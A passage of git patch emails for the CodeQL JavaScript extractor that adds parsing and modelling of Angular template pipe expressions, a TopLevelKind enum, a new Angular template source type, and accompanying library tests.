10 +++++-- .../src/com/semmle/js/ast/Visitor.java | 2 ++ .../com/semmle/js/extractor/ASTExtractor.java | 8 ++++++ .../com/semmle/js/extractor/ExprKinds.java | 1 + .../semmle/javascript/frameworks/Angular2.qll | 21 +++++++++++++++ .../ql/src/semmlecode.javascript.dbscheme | 1 + 9 files changed, 79 insertions(+), 3 deletions(-) create mode 100644 javascript/extractor/src/com/semmle/js/ast/AngularPipeRef.java diff --git a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java index 82bf626a0d0..a5e7fd9a956 100644 --- a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java +++ b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java @@ -3,8 +3,10 @@ package com.semmle.jcorn; import java.util.ArrayList; import java.util.List; +import com.semmle.js.ast.AngularPipeRef; import com.semmle.js.ast.CallExpression; import com.semmle.js.ast.Expression; +import com.semmle.js.ast.Identifier; import com.semmle.js.ast.Position; import com.semmle.js.ast.SourceLocation; @@ -38,7 +40,10 @@ public class AngularExpressionParser extends Parser { arguments.add(parseExprOp(arg, argStartPos, argStartLocation, TokenType.plusMin.binop, true)); } SourceLocation loc = new SourceLocation(startLoc); - return this.finishNode(new CallExpression(loc, right, null, arguments, false, false)); + if (right instanceof Identifier) { + right = new AngularPipeRef(right.getLoc(), (Identifier)right); + } + return this.finishNode(new CallExpression(loc, right, null, arguments, false, false)); } return super.buildBinary(startPos, startLoc, left, right, op, logical); } diff --git a/javascript/extractor/src/com/semmle/js/ast/AngularPipeRef.java b/javascript/extractor/src/com/semmle/js/ast/AngularPipeRef.java new file mode 100644 index 00000000000..fbe8525b234 --- /dev/null +++ b/javascript/extractor/src/com/semmle/js/ast/AngularPipeRef.java @@ -0,0 +1,27 @@ +package com.semmle.js.ast; + +/** + * An identifier occurring as the right operand of an Angular pipe expression, + * which has been desugared to a function call with this expression as the callee. + * <p> + * For example, <code>x | f:y</code> is desugared to <code>f(x, y)</code> where the + * <code>f</code> is an instance of {@link AngularPipeRef}, and evaluates to the function + * being invoked. + */ +public class AngularPipeRef extends Expression { + private final Identifier identifier; + + public AngularPipeRef(SourceLocation loc, Identifier identifier) { + super("AngularPipeRef", loc); + this.identifier = identifier; + } + + @Override + public <Q, A> A accept(Visitor<Q, A> v, Q q) { + return v.visit(this, q); + } + + public Identifier getIdentifier() { + return identifier; + } +} diff --git a/javascript/extractor/src/com/semmle/js/ast/DefaultVisitor.java b/javascript/extractor/src/com/semmle/js/ast/DefaultVisitor.java index 151936f46dc..4db7dbc400f 100644 --- a/javascript/extractor/src/com/semmle/js/ast/DefaultVisitor.java +++ b/javascript/extractor/src/com/semmle/js/ast/DefaultVisitor.java @@ -93,6 +93,11 @@ public class DefaultVisitor<C, R> implements Visitor<C, R> { else return visit((Expression) nd, c); } + @Override + public R visit(AngularPipeRef nd, C c) { + return visit((Expression) nd, c); + } + @Override public R visit(AssignmentExpression nd, C c) { return visit((Expression) nd, c); diff --git a/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java b/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java index c381a2d6b10..0a0895d6598 100644 --- a/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java +++ b/javascript/extractor/src/com/semmle/js/ast/NodeCopier.java @@ -1,5 +1,8 @@ package com.semmle.js.ast; +import java.util.ArrayList; +import java.util.List; + import com.semmle.js.ast.jsx.JSXAttribute; import com.semmle.js.ast.jsx.JSXClosingElement; import com.semmle.js.ast.jsx.JSXElement; @@ -48,8 +51,6 @@ import com.semmle.ts.ast.TypeofTypeExpr; import com.semmle.ts.ast.UnaryTypeExpr; import com.semmle.ts.ast.UnionTypeExpr; import com.semmle.util.data.IntList; -import java.util.ArrayList; -import java.util.List; /** Deep cloning of AST nodes. */ public class NodeCopier implements Visitor<Void, INode> { @@ -77,6 +78,11 @@ public class NodeCopier implements Visitor<Void, INode> { return new IntList(list); } + @Override + public INode visit(AngularPipeRef nd, Void q) { + return new AngularPipeRef(nd.getLoc(), copy(nd.getIdentifier())); + } + @Override public AssignmentExpression visit(AssignmentExpression nd, Void q) { return new AssignmentExpression( diff --git a/javascript/extractor/src/com/semmle/js/ast/Visitor.java b/javascript/extractor/src/com/semmle/js/ast/Visitor.java index 98551d2e324..f2a65c83620 100644 --- a/javascript/extractor/src/com/semmle/js/ast/Visitor.java +++ b/javascript/extractor/src/com/semmle/js/ast/Visitor.java @@ -54,6 +54,8 @@ import com.semmle.ts.ast.UnionTypeExpr; * <p>Visit methods take a context argument of type {@link C} and return a result of type {@link R}. */ public interface Visitor<C, R> { + public R visit(AngularPipeRef nd, C q); + public R visit(AssignmentExpression nd, C q); public R visit(AssignmentPattern nd, C q); diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 62a1465aea5..7242a8933a5 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -9,6 +9,7 @@ import java.util.Stack; import com.semmle.js.ast.AClass; import com.semmle.js.ast.AFunction; import com.semmle.js.ast.AFunctionExpression; +import com.semmle.js.ast.AngularPipeRef; import com.semmle.js.ast.ArrayExpression; import com.semmle.js.ast.ArrayPattern; import com.semmle.js.ast.ArrowFunctionExpression; @@ -2126,6 +2127,13 @@ public class ASTExtractor { new ParseError("Unexpected assignment pattern.", nd.getLoc().getStart())); return super.visit(nd, c); } + + @Override + public Label visit(AngularPipeRef nd, Context c) { + Label key = super.visit(nd, c); + visit(nd.getIdentifier(), key, 0, IdContext.label); + return key; + } } public List<ParseError> extract( diff --git a/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java b/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java index 44216d6b8d0..f4acf6c57ec 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ExprKinds.java @@ -148,6 +148,7 @@ public class ExprKinds { exprKinds.put("BindExpression", 97); exprKinds.put("ExternalModuleReference", 98); exprKinds.put("NonNullAssertion", 105); + exprKinds.put("AngularPipeRef", 119); } private static final Map<IdContext, Integer> idKinds = diff --git a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll index 199471e9a65..3c97ad52b41 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Angular2.qll @@ -218,4 +218,25 @@ module Angular2 { private class DomAdapterLocation extends DOM::LocationSource::Range { DomAdapterLocation() { this = domAdapter().getAMethodCall("getLocation") } } + + /** + * A reference to a pipe function, occurring in an Angular pipe expression + * that has been desugared to a function call. + * + * For example, the expression `x | f: y` is desugared to `f(x, y)` where + * `f` is a `PipeRefExpr`. + */ + class PipeRefExpr extends Expr, @angular_pipe_ref { + /** Gets the identifier node naming the pipe. */ + Identifier getIdentifier() { + result = getChildExpr(0) + } + + /** Gets the name of the pipe being referenced. */ + string getName() { result = getIdentifier().getName() } + + override string getAPrimaryQlClass() { + result = "Angular2::PipeRefExpr" + } + } } diff --git a/javascript/ql/src/semmlecode.javascript.dbscheme b/javascript/ql/src/semmlecode.javascript.dbscheme index c8859f3725d..16cee27e77d 100644 --- a/javascript/ql/src/semmlecode.javascript.dbscheme +++ b/javascript/ql/src/semmlecode.javascript.dbscheme @@ -354,6 +354,7 @@ case @expr.kind of | 116 = @assignlogandexpr | 117 = @assignlogorexpr | 118 = @assignnullishcoalescingexpr +| 119 = @angular_pipe_ref ; @varaccess = @proper_varaccess | @export_varaccess; From ed27c8b13f2180fdc1d146b7b06c6028954efeb0 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 14:47:21 +0000 Subject: [PATCH 0635/1241] JS: Add test and fix bug in pipe parser --- .../com/semmle/jcorn/AngularExpressionParser.java | 4 ++-- .../frameworks/Angular2/foo.component.html | 4 ++++ .../frameworks/Angular2/foo.component.ts | 13 +++++++++++++ .../library-tests/frameworks/Angular2/test.expected | 10 ++++++++++ .../test/library-tests/frameworks/Angular2/test.ql | 12 ++++++++++++ 5 files changed, 41 insertions(+), 2 deletions(-) create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/test.expected create mode 100644 javascript/ql/test/library-tests/frameworks/Angular2/test.ql diff --git a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java index a5e7fd9a956..09fffdec0fe 100644 --- a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java +++ b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java @@ -41,9 +41,9 @@ public class AngularExpressionParser extends Parser { } SourceLocation loc = new SourceLocation(startLoc); if (right instanceof Identifier) { - right = new AngularPipeRef(right.getLoc(), (Identifier)right); + right = new AngularPipeRef(new SourceLocation(right.getLoc()), (Identifier)right); } - return this.finishNode(new CallExpression(loc, right, null, arguments, false, false)); + return this.finishNode(new CallExpression(loc, right, new ArrayList<>(), arguments, false, false)); } return super.buildBinary(startPos, startLoc, left, right, op, logical); } diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html new file mode 100644 index 00000000000..dc09bfd72d0 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.html @@ -0,0 +1,4 @@ +<other-component + [prop]="foo | bar" + [prop2]="foo | bar:'baz'" +></other-component> diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts new file mode 100644 index 00000000000..f654dc1c72d --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/foo.component.ts @@ -0,0 +1,13 @@ +import { Component } from "@angular/core"; + +@Component({ + selector: "foo-component", + templateUrl: "./foo.component.html" +}) +export class Foo { + foo: string; + + constructor() { + this.foo = "hello"; + } +} diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.expected b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected new file mode 100644 index 00000000000..53ec4e0914d --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.expected @@ -0,0 +1,10 @@ +pipeRef +| foo.component.html:2:19:2:21 | bar | +| foo.component.html:3:20:3:28 | bar:'baz' | +pipeCall +| foo.component.html:2:13:2:21 | foo \| bar | +| foo.component.html:3:14:3:28 | foo \| bar:'baz' | +pipeCallArg +| 0 | foo.component.html:2:13:2:15 | foo | foo.component.html:2:13:2:21 | foo \| bar | +| 0 | foo.component.html:3:14:3:16 | foo | foo.component.html:3:14:3:28 | foo \| bar:'baz' | +| 1 | foo.component.html:3:24:3:28 | 'baz' | foo.component.html:3:14:3:28 | foo \| bar:'baz' | diff --git a/javascript/ql/test/library-tests/frameworks/Angular2/test.ql b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql new file mode 100644 index 00000000000..103f5ba3ac3 --- /dev/null +++ b/javascript/ql/test/library-tests/frameworks/Angular2/test.ql @@ -0,0 +1,12 @@ +import javascript + +query Angular2::PipeRefExpr pipeRef() { any() } + +query CallExpr pipeCall() { + result.getCallee() instanceof Angular2::PipeRefExpr +} + +query CallExpr pipeCallArg(int i, Expr arg) { + result.getCallee() instanceof Angular2::PipeRefExpr and + result.getArgument(i) = arg +} From 9b99f56d4410b25f09d40e8fd15c03d415f673d7 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 10 Dec 2020 14:35:06 +0000 Subject: [PATCH 0636/1241] JS: isAngularTemplateAttributeName --- .../src/com/semmle/js/extractor/HTMLExtractor.java | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 9373be8dcce..71e5331f569 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -93,7 +93,7 @@ public class HTMLExtractor implements IExtractor { String source = attr.getValue(); RowColumnVector valueStart = attr.getValueSegment().getRowColumnVector(); - if (JS_ATTRIBUTE.matcher(attr.getName()).matches()) { + if (JS_ATTRIBUTE.matcher(attr.getName()).matches() || isAngularTemplateAttributeName(attr.getName())) { snippetLoC = extractSnippet( 2, @@ -128,6 +128,12 @@ public class HTMLExtractor implements IExtractor { } } + private boolean isAngularTemplateAttributeName(String name) { + return name.startsWith("[") && name.endsWith("]") || + name.startsWith("(") && name.endsWith(")") || + name.startsWith("*ng"); + } + /** List of HTML attributes whose value is interpreted as JavaScript. */ private static final Pattern JS_ATTRIBUTE = Pattern.compile( From 4b5a861ee6b7b1e0f25d4688adf2d1a1a17675f7 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 10 Dec 2020 11:13:03 +0000 Subject: [PATCH 0637/1241] JS: Add TopLevelKind enum --- .../com/semmle/js/extractor/ASTExtractor.java | 4 ++-- .../com/semmle/js/extractor/FileSnippet.java | 6 ++--- .../semmle/js/extractor/HTMLExtractor.java | 8 +++---- .../com/semmle/js/extractor/JSExtractor.java | 13 ++++++----- .../semmle/js/extractor/ScriptExtractor.java | 6 ++--- .../com/semmle/js/extractor/TopLevelKind.java | 22 +++++++++++++++++++ .../js/extractor/TypeScriptExtractor.java | 3 +-- 7 files changed, 41 insertions(+), 21 deletions(-) create mode 100644 javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java diff --git a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java index 7242a8933a5..583ee57472a 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ASTExtractor.java @@ -2137,9 +2137,9 @@ public class ASTExtractor { } public List<ParseError> extract( - Node root, Platform platform, SourceType sourceType, int toplevelKind) { + Node root, Platform platform, SourceType sourceType, TopLevelKind toplevelKind) { lexicalExtractor.getMetrics().startPhase(ExtractionPhase.ASTExtractor_extract); - trapwriter.addTuple("toplevels", toplevelLabel, toplevelKind); + trapwriter.addTuple("toplevels", toplevelLabel, toplevelKind.getValue()); locationManager.emitNodeLocation(root, toplevelLabel); V visitor = new V(platform, sourceType); diff --git a/javascript/extractor/src/com/semmle/js/extractor/FileSnippet.java b/javascript/extractor/src/com/semmle/js/extractor/FileSnippet.java index 12d74fcef3f..4e0a41a5218 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/FileSnippet.java +++ b/javascript/extractor/src/com/semmle/js/extractor/FileSnippet.java @@ -11,10 +11,10 @@ public class FileSnippet { private Path originalFile; private int line; private int column; - private int topLevelKind; + private TopLevelKind topLevelKind; private SourceType sourceType; - public FileSnippet(Path originalFile, int line, int column, int topLevelKind, SourceType sourceType) { + public FileSnippet(Path originalFile, int line, int column, TopLevelKind topLevelKind, SourceType sourceType) { this.originalFile = originalFile; this.line = line; this.column = column; @@ -34,7 +34,7 @@ public class FileSnippet { return column; } - public int getTopLevelKind() { + public TopLevelKind getTopLevelKind() { return topLevelKind; } diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 71e5331f569..89ba98ee32d 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -73,7 +73,7 @@ public class HTMLExtractor implements IExtractor { RowColumnVector contentStart = content.getRowColumnVector(); snippetLoC = extractSnippet( - 1, + TopLevelKind.inlineScript, config.withSourceType(sourceType), scopeManager, textualExtractor, @@ -96,7 +96,7 @@ public class HTMLExtractor implements IExtractor { if (JS_ATTRIBUTE.matcher(attr.getName()).matches() || isAngularTemplateAttributeName(attr.getName())) { snippetLoC = extractSnippet( - 2, + TopLevelKind.eventHandler, config, scopeManager, textualExtractor, @@ -108,7 +108,7 @@ public class HTMLExtractor implements IExtractor { source = source.substring(11); snippetLoC = extractSnippet( - 3, + TopLevelKind.javascriptUrl, config, scopeManager, textualExtractor, @@ -233,7 +233,7 @@ public class HTMLExtractor implements IExtractor { } private LoCInfo extractSnippet( - int toplevelKind, + TopLevelKind toplevelKind, ExtractorConfig config, ScopeManager scopeManager, TextualExtractor textualExtractor, diff --git a/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java index c8ef8b32b49..3916b35c9da 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/JSExtractor.java @@ -1,5 +1,9 @@ package com.semmle.js.extractor; +import java.util.ArrayList; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + import com.semmle.js.ast.Comment; import com.semmle.js.ast.Node; import com.semmle.js.ast.Token; @@ -14,9 +18,6 @@ import com.semmle.util.exception.Exceptions; import com.semmle.util.exception.UserError; import com.semmle.util.trap.TrapWriter; import com.semmle.util.trap.TrapWriter.Label; -import java.util.ArrayList; -import java.util.regex.Matcher; -import java.util.regex.Pattern; /** * Extractor for populating JavaScript source code, including AST information, lexical information @@ -36,7 +37,7 @@ public class JSExtractor { Pattern.compile("(?m)^([ \t]*)(import|export|goog\\.module)\\b"); public Pair<Label, LoCInfo> extract( - TextualExtractor textualExtractor, String source, int toplevelKind, ScopeManager scopeManager) + TextualExtractor textualExtractor, String source, TopLevelKind toplevelKind, ScopeManager scopeManager) throws ParseError { // if the file starts with `{ "<string>":` it won't parse as JavaScript; try parsing as JSON // instead @@ -84,7 +85,7 @@ public class JSExtractor { public Pair<Label, LoCInfo> extract( TextualExtractor textualExtractor, String source, - int toplevelKind, + TopLevelKind toplevelKind, ScopeManager scopeManager, SourceType sourceType, JSParser.Result parserRes) @@ -121,7 +122,7 @@ public class JSExtractor { ASTExtractor scriptExtractor = new ASTExtractor(lexicalExtractor, null); toplevelLabel = scriptExtractor.getToplevelLabel(); - trapwriter.addTuple("toplevels", toplevelLabel, toplevelKind); + trapwriter.addTuple("toplevels", toplevelLabel, toplevelKind.getValue()); locationManager.emitSnippetLocation(toplevelLabel, 1, 1, 1, 1); loc = new LoCInfo(0, 0); } diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java index 7d8ccc6b3b1..637e461fdee 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScriptExtractor.java @@ -2,15 +2,13 @@ package com.semmle.js.extractor; import java.io.BufferedReader; import java.io.File; -import java.io.FileNotFoundException; import java.io.FileReader; import java.io.IOException; -import java.util.concurrent.ConcurrentMap; import java.util.Optional; +import java.util.concurrent.ConcurrentMap; import com.google.gson.Gson; import com.google.gson.JsonSyntaxException; - import com.semmle.js.extractor.ExtractorConfig.Platform; import com.semmle.js.extractor.ExtractorConfig.SourceType; import com.semmle.js.parser.ParseError; @@ -84,7 +82,7 @@ public class ScriptExtractor implements IExtractor { LoCInfo loc; try { Pair<Label, LoCInfo> res = - new JSExtractor(config).extract(textualExtractor, source, 0, scopeManager); + new JSExtractor(config).extract(textualExtractor, source, TopLevelKind.script, scopeManager); toplevelLabel = res.fst(); loc = res.snd(); } catch (ParseError e) { diff --git a/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java b/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java new file mode 100644 index 00000000000..70fae82d1ff --- /dev/null +++ b/javascript/extractor/src/com/semmle/js/extractor/TopLevelKind.java @@ -0,0 +1,22 @@ +package com.semmle.js.extractor; + +/** + * A kind of top-level, corresponding to the <code>@toplevel</code> type in the dbscheme. + */ +public enum TopLevelKind { + script(0), + inlineScript(1), + eventHandler(2), + javascriptUrl(3); + + private int value; + + private TopLevelKind(int value) { + this.value = value; + } + + /** Returns the value identifying this toplevel kind in the database. */ + public int getValue() { + return value; + } +} diff --git a/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java index b12790cc9c3..c1940344862 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/TypeScriptExtractor.java @@ -5,7 +5,6 @@ import java.io.File; import com.semmle.js.extractor.ExtractorConfig.ECMAVersion; import com.semmle.js.extractor.ExtractorConfig.SourceType; import com.semmle.js.parser.JSParser.Result; -import com.semmle.ts.extractor.TypeScriptParser; import com.semmle.js.parser.ParseError; public class TypeScriptExtractor implements IExtractor { @@ -28,7 +27,7 @@ public class TypeScriptExtractor implements IExtractor { try { FileSnippet snippet = state.getSnippets().get(sourceFile.toPath()); SourceType sourceType = snippet != null ? snippet.getSourceType() : jsExtractor.establishSourceType(source, false); - int toplevelKind = snippet != null ? snippet.getTopLevelKind() : 0; + TopLevelKind toplevelKind = snippet != null ? snippet.getTopLevelKind() : TopLevelKind.script; return jsExtractor.extract(textualExtractor, source, toplevelKind, scopeManager, sourceType, res).snd(); } catch (ParseError e) { e.setPosition(locationManager.translatePosition(e.getPosition())); From b1d45a6773a72faf5ae555add28bbaa5a2738015 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Thu, 10 Dec 2020 11:03:55 +0000 Subject: [PATCH 0638/1241] JS: Mark angular pipe refs as incomplete --- javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll index 54ac2548a7b..811c3b91c35 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/DataFlow.qll @@ -1592,7 +1592,8 @@ module DataFlow { e instanceof E4X::XMLAttributeSelector or e instanceof E4X::XMLDotDotExpression or e instanceof E4X::XMLFilterExpression or - e instanceof E4X::XMLQualifiedIdentifier + e instanceof E4X::XMLQualifiedIdentifier or + e instanceof Angular2::PipeRefExpr ) or exists(Expr e | e = nd.asExpr() | From c08ba1416dfa03a6013264593980299cc3d5093e Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 14:40:34 +0000 Subject: [PATCH 0639/1241] JS: Add new SourceType for angular templates --- .../semmle/jcorn/AngularExpressionParser.java | 6 +++--- .../semmle/js/extractor/ExtractorConfig.java | 19 +++++++++++++++++++ .../semmle/js/extractor/HTMLExtractor.java | 15 ++++++++++++++- .../com/semmle/js/parser/JcornWrapper.java | 8 ++++---- 4 files changed, 40 insertions(+), 8 deletions(-) diff --git a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java index 09fffdec0fe..802523514d7 100644 --- a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java +++ b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java @@ -14,9 +14,9 @@ import com.semmle.js.ast.SourceLocation; * Parser for Angular template expressions, based on the JS parser with * modified handling of the pipe operator. */ -public class AngularExpressionParser extends Parser { - public AngularExpressionParser(String input, int startPos) { - super(new Options(), input, startPos); +public class AngularExpressionParser extends CustomParser { + public AngularExpressionParser(Options options, String input, int startPos) { + super(options, input, startPos); } @Override diff --git a/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java b/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java index 825a031b62e..f9b5939a6f6 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ExtractorConfig.java @@ -10,6 +10,10 @@ import java.util.LinkedHashSet; import java.util.Set; import com.semmle.extractor.html.HtmlPopulator; +import com.semmle.jcorn.AngularExpressionParser; +import com.semmle.jcorn.CustomParser; +import com.semmle.jcorn.Options; +import com.semmle.jcorn.Parser; import com.semmle.js.parser.JcornWrapper; import com.semmle.util.data.StringUtil; import com.semmle.util.exception.UserError; @@ -78,6 +82,9 @@ public class ExtractorConfig { /** A CommonJS module that is not also an ES2015 module. */ COMMONJS_MODULE, + /** An Angular template expression. */ + ANGULAR_TEMPLATE, + /** Automatically determined source type. */ AUTO; @@ -86,6 +93,18 @@ public class ExtractorConfig { return StringUtil.lc(name()); } + /** + * Gets the parser to use for parsing this source type. + */ + public Parser createParser(Options options, String input, int startPos) { + switch (this) { + case ANGULAR_TEMPLATE: + return new AngularExpressionParser(options, input, startPos); + default: + return new CustomParser(options, input, startPos); + } + } + /** * Returns true if this source is executed directly in the global scope, or false if it has its * own local scope. diff --git a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java index 89ba98ee32d..85eea2ae23e 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java +++ b/javascript/extractor/src/com/semmle/js/extractor/HTMLExtractor.java @@ -93,7 +93,7 @@ public class HTMLExtractor implements IExtractor { String source = attr.getValue(); RowColumnVector valueStart = attr.getValueSegment().getRowColumnVector(); - if (JS_ATTRIBUTE.matcher(attr.getName()).matches() || isAngularTemplateAttributeName(attr.getName())) { + if (JS_ATTRIBUTE.matcher(attr.getName()).matches()) { snippetLoC = extractSnippet( TopLevelKind.eventHandler, @@ -104,6 +104,19 @@ public class HTMLExtractor implements IExtractor { valueStart.getRow(), valueStart.getColumn(), false /* isTypeScript */); + } else if (isAngularTemplateAttributeName(attr.getName())) { + // For an attribute *ngFor="let var of EXPR", start parsing at EXPR + int offset = attr.getName().equals("*ngFor") ? source.indexOf(" of ") + " of ".length() : 0; + snippetLoC = + extractSnippet( + TopLevelKind.eventHandler, + config.withSourceType(SourceType.ANGULAR_TEMPLATE), + scopeManager, + textualExtractor, + source, + valueStart.getRow(), + valueStart.getColumn() + offset, + false /* isTypeScript */); } else if (source.startsWith("javascript:")) { source = source.substring(11); snippetLoC = diff --git a/javascript/extractor/src/com/semmle/js/parser/JcornWrapper.java b/javascript/extractor/src/com/semmle/js/parser/JcornWrapper.java index 519150bc2c4..3ce302d0982 100644 --- a/javascript/extractor/src/com/semmle/js/parser/JcornWrapper.java +++ b/javascript/extractor/src/com/semmle/js/parser/JcornWrapper.java @@ -1,6 +1,8 @@ package com.semmle.js.parser; -import com.semmle.jcorn.CustomParser; +import java.util.ArrayList; +import java.util.List; + import com.semmle.jcorn.Options; import com.semmle.jcorn.SyntaxError; import com.semmle.jcorn.jsx.JSXOptions; @@ -10,8 +12,6 @@ import com.semmle.js.ast.Token; import com.semmle.js.extractor.ExtractorConfig; import com.semmle.js.extractor.ExtractorConfig.ECMAVersion; import com.semmle.js.extractor.ExtractorConfig.SourceType; -import java.util.ArrayList; -import java.util.List; public class JcornWrapper { /** Parse source code as a program. */ @@ -41,7 +41,7 @@ public class JcornWrapper { if (config.isTolerateParseErrors()) options.onRecoverableError((err) -> errors.add(mkParseError(err))); - program = new CustomParser(options, source, 0).parse(); + program = sourceType.createParser(options, source, 0).parse(); } catch (SyntaxError e) { errors.add(mkParseError(e)); } From 77fcf3d8a2a522f57b331b824ca9b3d017927b80 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 14:40:44 +0000 Subject: [PATCH 0640/1241] JS: Support postfix "!" operator in templates --- .../com/semmle/jcorn/AngularExpressionParser.java | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java index 802523514d7..79c1a1e30db 100644 --- a/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java +++ b/javascript/extractor/src/com/semmle/jcorn/AngularExpressionParser.java @@ -9,6 +9,7 @@ import com.semmle.js.ast.Expression; import com.semmle.js.ast.Identifier; import com.semmle.js.ast.Position; import com.semmle.js.ast.SourceLocation; +import com.semmle.ts.ast.NonNullAssertion; /** * Parser for Angular template expressions, based on the JS parser with @@ -47,4 +48,16 @@ public class AngularExpressionParser extends CustomParser { } return super.buildBinary(startPos, startLoc, left, right, op, logical); } + + @Override + protected Expression parseExprAtom(DestructuringErrors refDestructuringErrors) { + // Parse postfix "!" operator + Position startLoc = this.startLoc; + Expression expr = super.parseExprAtom(refDestructuringErrors); + if (this.type == TokenType.prefix && "!".equals(this.value)) { + this.next(); // consume "!" token + return finishNode(new NonNullAssertion(new SourceLocation(startLoc), expr)); + } + return expr; + } } From 9ee893c9c13df1cd49ce9a4bc816d176232a4019 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus <asgerf@github.com> Date: Fri, 11 Dec 2020 14:40:57 +0000 Subject: [PATCH 0641/1241] JS: Add data flow steps in Angular2 model --- .../src/semmle/javascript/dataflow/Nodes.qll | 14 ++ .../semmle/javascript/frameworks/Angular2.qll | 147 ++++++++++++++++++ 2 files changed, 161 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/dataflow/Nodes.qll 